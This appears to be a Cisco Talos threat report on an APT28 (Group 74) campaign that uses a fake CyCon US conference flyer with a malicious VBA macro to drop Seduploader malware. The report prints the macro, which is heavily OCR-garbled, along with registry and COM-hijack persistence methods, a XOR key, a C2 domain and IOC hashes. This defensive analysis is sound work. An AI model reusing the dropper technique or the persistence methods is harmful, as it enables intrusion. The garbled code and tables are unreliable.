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Update 10/23: CCDCOE released a statement today on their website

Introduction

Cisco Talos discovered a new malicious campaign from the well known actor Group 74 (aka
Tsar Team, Sofacy, APT28, Fancy Bear...). lronically the decoy document is a deceptive flyer
relating to the Cyber Conflict U.S. conference. CyCon US is a collaborative effort between the
Army Cyber Institute at the United States Military Academy and the NATO Cooperative Cyber
Military Academy and the NATO Cooperative Cyber Defence Centre of Excellence. Due to the
nature of this document, we assume that this campaign targets people with an interest in cyber
security. Unlike previous campaigns from this actor, the flyer does not contain an Office exploit
or a 0-day, it simply contains a malicious Visual Basic for Applications (VBA) macro.

The VBA drops and executes a new variant of Seduploader. This reconnaissance malware has
been used by Group 74 for years and it is composed of 2 files: a dropper and a payload. The
dropper and the payload are quite similar to the previous versions but the author modified
some public information such as MUTEX name, obfuscation keys... We assume that these
modifications were performed to avoid detection based on public IOCs.

The article describes the malicious document and the Seduploader reconnaissance malware,
especially the difference with the previous versions.

Malicious Office Document

Decoy Document

The decoy document is a flyer concerning the Cyber Conflict U.S. conference with the following
filename Conference_on_Cyber_Conflict.doc. It contains 2 pages with the logo of the
organizer and the sponsors:
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Due to the nature of the document, we assume that the targeted people are linked or
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interested by the cybersecurity landscape. The exact content of the document can be found
online on the conference website. The attackers probably copy/pasted it into Word to create
the malicious document.

VBA

The Office document contains a VBA script. Here is the code:

Zub AutcOpani]
Exacats
End Subk

Private Funotion DeocdeBassesd (basest) As Byhe()

Conat degodsTable = “ABCTEFGHIJRLMBEGPORATUVEEY SabodeIghl)klenopqEstursnye 0L IF 426 TRE+H/
[::: REDRCFED .-.]

DezpdeBasetd = dessdeddyies
End Function

Privata Sub Exacutas(]
Dim Path Am Jtring
Dim Filedowm As Long
Dim bin{) As Byte
Dim ondlime As Szring
Conat HIDDEM WINDCN = 1
strfanmputes = "%

“"axtract and deccds snccded f£ile

Subjact = RckivaDacumant.PoiltInbocunactPropartias. Teem [®Sukjac=e®)
Subjsct = Right (Subject, IsniSubjsct] Siv}
Company = ActiweDocument.PailtInbocomentPropertiss, Toem ("Company™]
Company = Right (Company. LeniCompany]l - 50}

Categoey = Activelocument.BuiltinDocumentPEcpeEtices. Item| "Categoey™]

Categeey = Right [Cakegory, Lasi(Categecsy) - 50)

Byparlick bass = hctiveDocumact.PBailtIncDooomntPoopartias. Dtem [“Hypaclink baxa®)
Hyparlink_bass = Right [Hypsrlink bams, Lan|[Hypsrlink bams) 543

Commsnta = Activaloouwrsant . BuiltInlooumant Fropart imn . Itemi"Comrante™]

Comprntes = Right {Somments, Lsn(Commsnta) - 3]

base&d = Subject + Company + Category + Hypeelisk bass + Comments
bia = DesodeBasedd {basstd]

“aava decocdad file
Path = Envircn | "LOCALAPEDATAM] + *\* + PoatwE® + *.dat®

PFathPld = Environ ("LOCKLAFEOATA™) + "\™ & "pagwf™ ¢ " dlL"
PathPldEt = Envirom("LOCRLAFEFDATAT] + "\ + "petwi® + ".bat"

If Dirx(PathPld, vhBEidden) <> "" Then
Exit Sub
End If
Filalun = FrasFila
Opan Fath For RBinary Acosam Write Asm §FilaBun
Put IFileRum, 1, Bin

Cloms $FileHum

cwdlimps = "CiAT + TEEET o+ "WAE™ + "HRET - "dow™ + "HEET o+ Tah@y" + TEET + "ste” + "EHET s

“mE3Z\" + "rum® + "FEET + "A1LT 4+ S32F 4+ SFT 4+ T.gWe T 4+ "T"T 4 Paph + T o+ TREET 4
" ElpSy="
NocdBasiz. [Shall] Replace {=mdLine, "7, "%}
=f Dir(PathPld] <> "°* Than
Amthttr PathPld, wEliddsn

End Tt

If Dax(PathPldEt] <= " Than
gathrecr PathPFldSc, vbHiddes
End If

zf piz(Fath} < ** Thaa
Eill Fath
End Tf

End Suk

The goal of this code is to get information from the properties of the document ("Subject",
"Company", "Category", "Hyperlink base" and finally "Comments"). Some of this information
can be directly extracted from the Windows explorer by looking at the properties of the file.
The "Hyperlink Base" must be extracted using another tool, strings is capable of obtaining this
by looking for long strings. Pay close attention to the contents of these fields as they appear
base64 encoded.
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Description
Title
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Cancel
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This extracted information is concatenated together to make a single variable. This variable is
decoded with the base64 algorithm in order to get a Windows library (PE file) which is written
to disk. The file is named netwf.dat. On the next step this file is executed by rundlI32.exe via
the KlpSvc export. We see that this file drops 2 additional files: netwf.bat and netwf.dll. The
final part of the VBA script changes the properties of these two files, setting their attributes to
Hidden. We can also see 2 VBA variable names: PathPId, probably for Path Payload, and

PathPIdBt, for Path Payload Batch.
Seduploader Variant

Dropper Analysis
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As opposed to previous campaigns performed by this actor, this latest version does not
contain privilege escalation and it simply executes the payload and configures persistence
mechanisms. The dropper installs 2 files:

e netwf.bat : executes netwf.dll

e netwf.dll : the payload

The dropper implements 2 persistence mechanisms:
e HKCU\Environment\UserInitMprLogonScript to execute the netwf.bat file
e COM Object hijack of the following CLSID: {BCDE0395-E52F-467C-8E3D-
C4579291692E}, the CLSID of the class MMDeviceEnumerator.

These 2 techniques have also been previously used by this actor.

Finally the payload is executed by rundll32.exe (and the ordinal #1 in argument) or by
explorer.exe if the COM Object hijack is performed. In this case, explorer.exe will instance the
MMDeviceEnumerator class and will execute the payload.

Payload Analysis

The payload features are similar to the previous versions of Seduploader. We can compare it
to the sample €338d49c270baf64363879e5eecb8fabbdde8ad9 used in May 2017 by Group
74. Of the 195 functions of the new sample, 149 are strictly identical, 16 match at 90% and 2
match at 80%:

Line Addiress Hame Address 2 Marne 2 Ratio BBlocks 1 BBlocks 2 Description

g

Same order and hash
Same order and hash
Same onder and hath
Same order and hash

e order and hash
Same order and hash
Same onder and hash
Same order and hash
Same order and hash
Same order and hash
MlocabonHesap Same order and hash
sub_ ASA Same onder and hash
Same order and hash
Same order and hash
Sam= order and hash
Same onder and hath
Same order and hash
Same order and hash

11
5
I
L
1
1
I
1
1
T
I
3
1
4
F
Fl
LS
5
1
rd

Line 1 of 149

In the previous campaign where adversaries used Office document exploits as an infection
vector, the payload was executed in the Office word process. In this campaign, adversaries did
not use any exploit. Instead,the payload is executed in standalone mode by rundll32.exe.
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https://msdn.microsoft.com/en-us/library/windows/desktop/dd371399(v=vs.85).aspx

Adversaries also changed some constants, such as the XOR key used in the previous version.

The key in our version is:

key=b"\x08\x7A\x05\x04\x60\x7c\x3e\x3c\x5d\x0b\x18\x3c\x55\x64"

The MUTEX name is different too: FGO0OnxojVs4gLBnwKc7HhmdKOh

il s

push
mov

push
push
push
push
push
call
Pop

pop

mov

push
push
push
call
mov

call
push
mov

call

pop
test

jz

Attributes: bp-based frame
MutexCreation proc near

arg_@= dword ptr B3

ebp

ebp, esp

ebx

esi

edi

1Ah

offset unk leea7lDe ; FGeenxojVsdglLBnwKc7HhmdKeh
Decode

BCK
BCK

esi, eax

esi 3 lpName

1 3 bInitialOwner

a 3 lpMutexAttributes
ds:CreateMutexA

edi, eax

ds:GetlastError

esi 5 lpMem

ebx, eax

sub_1P@@3ACA

BCH

edi, edi

short loc 18882F43

Here are some of the Seduploader features:
e Screenshot capture (with the GDI API);
e data/configuration exfiltration;
e Execution of code
e File downloading;
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The Command & Control (CC) of the analysed sample is myinvestgroup[.Jcom. During the
investigation, the server did not provide any configuration to the infected machines. Based on
the metadata of the Office documents and the PE files, the attackers had created the file on
Wednesday, the 4th of October. We can see, in Cisco Umbrella, a peak in activities 3 days
later, Saturday the 7th of October:

DMN5 queries

D#5 guierses | hour

Conclusion

Analysis of this campaign shows us once more that attackers are creative and use the news to
compromise the targets. This campaign has most likely been created to allow the targeting of
people linked to or interested by cybersecurity, so probably the people who are more sensitive
to cybersecurity threats. In this case, Group 74 did not use an exploit or any 0-day but simply
used scripting language embedded within the Microsoft Office document. Due to this change,
the fundamental compromise mechanism is different as the payload is executed in a
standalone mode. The reasons for this are unknown, but, we could suggest that they did not
want to utilize any exploits to ensure they remained viable for any other operations. Actors will
often not use exploits due to the fact that researchers can find and eventually patch these
which renders the actors weaponized platforms defunct. Additionally the author did some small
updates after publications from the security community, again this is common for actors of this
sophisticated nature, once their campaigns have been exposed they will often try to change
tooling to ensure better avoidance. For example the actor changed the XOR key and the
MUTEX name. We assume that these modifications were performed in order to avoid
detection based on public IOCs.

Coverage

Additional ways our customers can detect and block this threat are listed below.
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Advanced Malware Protection (AMP) is
ideally suited to prevent the execution of
the malware used by these threat actors. AMP

CWS or WSA web scanning prevents UoudLock
access to malicious websites and detects WS
malware used in these attacks.

Email Security
Email Security can block malicious emails
sent by threat actors as part of their
campaign.

MNetwork Security

Threat Lrid
Umbrella
Network Security appliances such
asNGFW,NGIPS, andMeraki MX can
detect malicious activity associated with

this threat.

AMP Threat Grid helps identify malicious binaries and build protection into all Cisco Security
products.

Umbrella, our secure internet gateway (SIG), blocks users from connecting to malicious
domains, IPs, and URLs, whether users are on or off the corporate network.

Open Source Snort Subscriber Rule Set customers can stay up to date by downloading the
latest rule pack available for purchase on Snort.org.

|IOCs

Files

Office Documents:
o c4be15f9ccfecf7a463f3b1d4a17e7b4f95de939e057662c3f97b52f7fa3c52f
e 5511b22245e26a003923ba476d7c36029939b2d1936e17a9b35b396467179ae
e efb235776851502672dba5ef45d96cc65ch9ebba1b49949393a6a85b9¢822152

Seduploader Dropper:
o 522fd9b35323af55113455d823571f71332e53dde988c2eb41395cf6b0c15805

Sedupload Payload:
e ef027405492bc0719437eb58c3d2774cc87845f30c40040bbebbcc09a4e3dd18

Networks
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https://www.cisco.com/c/en/us/products/security/advanced-malware-protection
https://www.cisco.com/c/en/us/products/security/cloud-web-security/index.html
https://www.cisco.com/c/en/us/products/security/web-security-appliance/index.html
https://www.cisco.com/c/en/us/products/security/email-security-appliance/index.html
https://www.cisco.com/c/en/us/products/security/firewalls/index.html
https://www.cisco.com/c/en/us/products/security/intrusion-prevention-system-ips/index.html
https://meraki.cisco.com/products/appliances
https://www.cisco.com/c/en/us/solutions/enterprise-networks/amp-threat-grid/index.html
https://umbrella.cisco.com/
https://www.snort.org/products

CC:
e myinvestgroup[.Jcom
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